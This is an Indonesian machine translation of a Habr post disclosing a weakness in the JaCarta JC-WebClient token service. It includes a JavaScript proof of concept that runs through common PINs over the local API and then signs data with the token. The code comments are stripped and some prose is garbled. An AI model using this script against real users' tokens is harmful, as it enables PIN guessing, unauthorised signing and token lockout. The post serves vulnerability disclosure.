Menguji JaCarta WebClient atau menyimpan token di brankas

"Ketika sampul hitam diterbangkan untuk sesaat, Margarita berbalik dan melihat bahwa tidak hanya menara berwarna-warni dengan pesawat terbuka di atasnya, tetapi juga beberapa waktu yang lalu bahwa kota itu sendiri telah turun ke tanah dan hanya meninggalkan kabut."

M.A. Bulgakov
"Tuan dan Margarita"

Halo, Habr! Mungkin hampir setiap organisasi Rusia memiliki produk ini dalam pewarnaan multi-warna yang ceria. Kita berbicara tentang produk dan perangkat lunak JaCarta untuk mereka. Kebahagiaan seperti itu jatuh pada saya juga, dan saya memutuskan untuk sedikit memperluas penutup hitam menyembunyikan esensi mereka, atau API. Beberapa bank, terutama yang menerbitkan token JaCarta GOST-2 kepada pelanggan mereka, mengharuskan pemasangan aplikasi JC-WebClient dari Aladdin R.D. agar berfungsi.

Meskipun tidak ada distribusi baru di situs web resmi pengembang (di bagian Demo Anda dapat mengunduh versi yang lebih lama, tetapi menggunakan API yang sudah ketinggalan zaman), distribusi dapat ditemukan menggunakan Google pada baris "JC-WebClient-4.0.0.1186" di situs RB.

Setelah menginstal aplikasi di komputer pengguna, port 24738 terbuka tempat klien ini bekerja.

https://localhost:24738/JCWebClient.js

Situs web pengembang secara terbuka dan rinci menjelaskan API dari aplikasi ini (serta fungsi bekerja dengan sistem file dari seluruh token line pabrikan ini melalui jcFS.dll, yang merupakan bagian dari paket instalasi "JaCarta Single Client") dan intinya adalah bahwa dengan menggunakan sejumlah fungsi Anda dapat menandatangani tanda tangan digital token dengan apa saja, mengambil kode PIN, atau memblokir token dengan upaya gagal memasukkannya. Dan semua ini dari jarak jauh melalui Internet.

Bukan rahasia lagi bahwa pengguna sering meninggalkan kode PIN default untuk token, atau kode yang mereka terima (mereka biasanya takut bahwa ketika mengubah kode PIN semuanya akan berhenti berfungsi).

Paling sering, kode PIN dari tipe 123456 digunakan, dan token dimasukkan ke port komputer atau hub usb selama hari kerja, atau bahkan sepanjang waktu.

Berkat JC-WebClient, jika Anda menyelipkan halaman web atau email dengan JavaScript sederhana ke pengguna seperti itu, Anda dapat, meskipun tidak mendapatkan kunci token (dalam beberapa kasus, ini hanya dimungkinkan dengan secara langsung mengakses sistem file token, contoh telah diberikan ), tetapi cobalah mengambil kode PIN dan menandatangani data apa pun dan mengirimkannya ke suatu tempat.

Jika 10 upaya yang gagal untuk mengulang, token diblokir, dan seberapa sering itu terjadi, jika kode administrator untuk membuka kunci tidak diatur, maka hanya inisialisasi yang akan membantu. Dan ini tidak dibayar atas pajak waktu (dan sebagai akibat bunga dan bahkan memblokir akun pajak organisasi pajak), kehilangan dari pemasok, secara umum, barang tidak cukup.



Masalah dengan penghitungan kode PIN dapat diselesaikan dengan membuatnya mungkin untuk memasukkannya hanya melalui jendela antarmuka JC-WebClient, atau sebagai ukuran setengah, misalnya, dalam kasus 3 upaya gagal untuk memasukkannya, memblokir otorisasi lebih lanjut dengan menampilkan pesan kepada pengguna dan menunggu sampai dia akan mengkonfirmasi tindakan Anda.

Saya menulis skrip uji kecil yang menunjukkan kerentanan ini. Script bekerja pada semua browser modern dan relatif modern, bahkan IE :)

Secara alami, ia tidak mengirim apa pun ke mana pun, tetapi hanya menampilkan hasil dari serangkaian fungsi.

Script mengimplementasikan enumerasi lengkap 10 upaya untuk memasukkan kode pin "untuk membunuh" token, sehingga Anda dapat menjalankan skrip hanya dengan token uji!

Perlu juga diingat bahwa penggunaan skrip ini selain dari token tes sendiri merupakan pelanggaran hukum.

Hasil tes:


Script menghasilkan pasangan kunci dan sertifikat menggunakan JC-WebClient untuk pengujian.
Anda dapat menggunakan EToken PRO Java 72 K, JaCarta GOST, JaCarta GOST-2. Token harus diinisialisasi dengan PIN pengguna 111111.

Sebelum memulai pengujian, Anda harus menginstal JC-WebClient versi 4 atau yang lebih baru.

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } var tokenID = slot.id, //   userPin = '111111'; // PIN-  //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //  PIN- JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: userPin } }); //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //          var keyPairID = JCWebClient2.createKeyPair({ args: { paramSet: "XA", description: "my description", algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 } }); //     (Distinguished Name (DN)), //    (Common Name, (CN)) var dn = { 'CN': '123', 'C': 'RU' }; //  ,      var exts = { 'keyUsage': 'Digital Signature' }; //   var contID = JCWebClient2.generateUserSelfSignedCertificate({ args: { keyPairID: keyPairID, dn: dn, exts: exts, days: 365 } }); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id      var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //   PIN- JCWebClient2.unbindToken(); 

Dan sebenarnya skrip audit keamanan itu sendiri:

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } //   var tokenID = slot.id; //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id     var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //    (Hello World  Base64) var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; document.write("  : "+dataToSign+" "); //   var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"]; //  function bind(pass) { JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: pass } }); } var i=0; //     //!  10    !!!!!!!!!! while (i < 10) { i++; try{ bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //  ,      if(tokenState.state=1) { document.write("   : "+pin[i]+" "); break; } } //    catch(e){document.write(e+" ");} } //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //   var CertificateBody=JCWebClient2.getCertificateBody({ args: { id: contID } }); document.write("CertificateBody: "+CertificateBody+" "); //  ,        Base64 var signedData = JCWebClient2.signBase64EncodedData({ args: { contID: contID, data: dataToSign, attachedSignature: true } }); document.write(" . "); document.write(" : "+signedData+" "); //  var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData({ args: { signature: signature } }); document.write("  : "+res+" "); //   PIN- JCWebClient2.unbindToken(); 

Sumber Informasi API JC-WebClient

Source: https://habr.com/ru/post/id439790/


All Articles